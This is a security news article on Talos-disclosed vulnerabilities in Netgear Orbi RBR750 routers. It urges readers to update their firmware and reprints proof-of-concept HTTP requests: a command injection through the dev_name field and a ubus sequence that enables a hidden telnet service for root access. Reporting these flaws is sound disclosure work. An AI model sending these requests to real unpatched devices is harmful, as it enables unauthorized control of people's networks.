Netgear:
If you rely on Netgear’s Orbi mesh wireless system to connect to the Internet, you should make sure it’s running the latest firmware now that exploit code has been released for critical vulnerabilities in older versions.
The Netgear Orbi wireless network system includes a main hub router and one or more satellite routers that extend the network’s range. By installing several access points in the home or office, they create a network system that provides access to Wi-Fi coverage throughout the area.
Remotely injecting arbitrary commands
Last year, researchers from Cisco’s Talos security team discovered four vulnerabilities and reported them privately to Netgear. The most severe of the vulnerabilities, identified as CVE-2022-37337, resides in the access control functionality of the RBR750. Hackers can use it to execute commands remotely by sending specially crafted HTTP requests to the device. A hacker must first connect to the device by knowing the SSID password, or by accessing an unprotected SSID. Weed severity is rated 9.1 out of a possible 10.
In January, Netgear released firmware updates that addressed the vulnerability. Talos has now released proof-of-concept exploit code, along with technical details.
“The Orbi RBR750’s access control feature allows the user to explicitly add devices (specified by MAC address and hostname) to allow or block the specified device when attempting to access the network,” Talos researchers wrote. “However, the dev_name parameter is vulnerable to command injection.”
The issued operation code is as follows:
POST /access_control_add.cgi?id=e7bbf8edbf4393c063a616d78bd04dfac332ca652029be9095c4b5b77f6203c1 HTTP/1.1
Host: 10.0.0.1
Content-Length: 104
Authorization: Basic YWRtaW46UGFzc3cwcmQ=
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: yummy_magical_cookie=/; XSRF_TOKEN=2516336866
Connection: close
action=Apply&mac_addr=aabbccddeeaa&dev_name=test;ping${IFS}10.0.0.4&access_control_add_type=blocked_list
The device will respond as follows:
root@RBR750:/tmp# ps | grep ping
21763 root 1336 S ping 10.0.0.4
Two other vulnerabilities that Talos discovered also received patches in January. CVE-2022-36429 is also a remote command execution flaw that could be exploited by sending a sequence of malicious packets that create a specially crafted JSON object. Its severity rating is 7.2.
The exploit begins by using a SHA256 password hash with the username “admin” to return the authentication cookie needed to start an undocumented telnet session;
POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 217
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: http://10.0.0.4
Referer: http://10.0.0.4/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"method":"call","params":["00000000000000000000000000000000","session","login",{"username":"admin","password":"","timeout":900}],"jsonrpc":"2.0","id":3}
Then the token “ubus_rpc_session” will appear, which is necessary to start the hidden telnet service;
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 829
Connection: close
Date: Mon, 11 Jul 2022 19:27:03 GMT
Server: lighttpd/1.4.45
{"jsonrpc":"2.0","id":3,"result":[0,{"ubus_rpc_session":"e6c28cc8358cb9182daa29e01782df67","timeout":900,"expires":899,"acls":{"access-group":{"netgear":["read","write"],"unauthenticated":["read"]},"ubus":{"netgear.get":["pot_details","satellite_status","connected_device","get_language"],"netgear.log":["ntgrlog_status","log_boot_status","telnet_status","packet_capture_status","firmware_version","hop_count","cpu_load","ntgrlog_start","ntgrlog_stop","log_boot_enable","log_boot_disable","telnet_enable","telnet_disable","packet_capture_start","packet_capture_stop"],"netgear.set":["set_language"],"netgear.upgrade":["upgrade_status","upgrade_version","upgrade_start"],"session":["access","destroy","get","login"],"system":["info"],"uci":["*"]},"webui-io":{"download":["read"],"upload":["write"]}},"data":{"username":"admin"}}]}
The adversary then adds a parameter called “telnet_enable” to start the telnet service;
POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 138
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: http://10.0.0.4
Referer: http://10.0.0.4/status.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"method":"call","params":["e6c28cc8358cb9182daa29e01782df67","netgear.log","telnet_enable","log_boot_enable",{}],"jsonrpc":"2.0","id":13}
The same password used to generate a SHA256 hash with the username “admin” would then allow the attacker to access the service;
$ telnet 10.0.0.4
Trying 10.0.0.4...
Connected to 10.0.0.4.
Escape character is '^]'.
login: admin
Password: === IMPORTANT ============================
Use 'passwd' to set your login password
this will disable telnet and enable SSH
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For those about to rock... (Chaos Calmer, rtm-4.6.8.5+r49254)
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root@RBS750:/#
The other patched vulnerability is CVE-2022-38458 with a severity score of 6.5. It results from the device prompting users for a password over an HTTP connection that is not encrypted. An adversary on the same network can then sniff the password.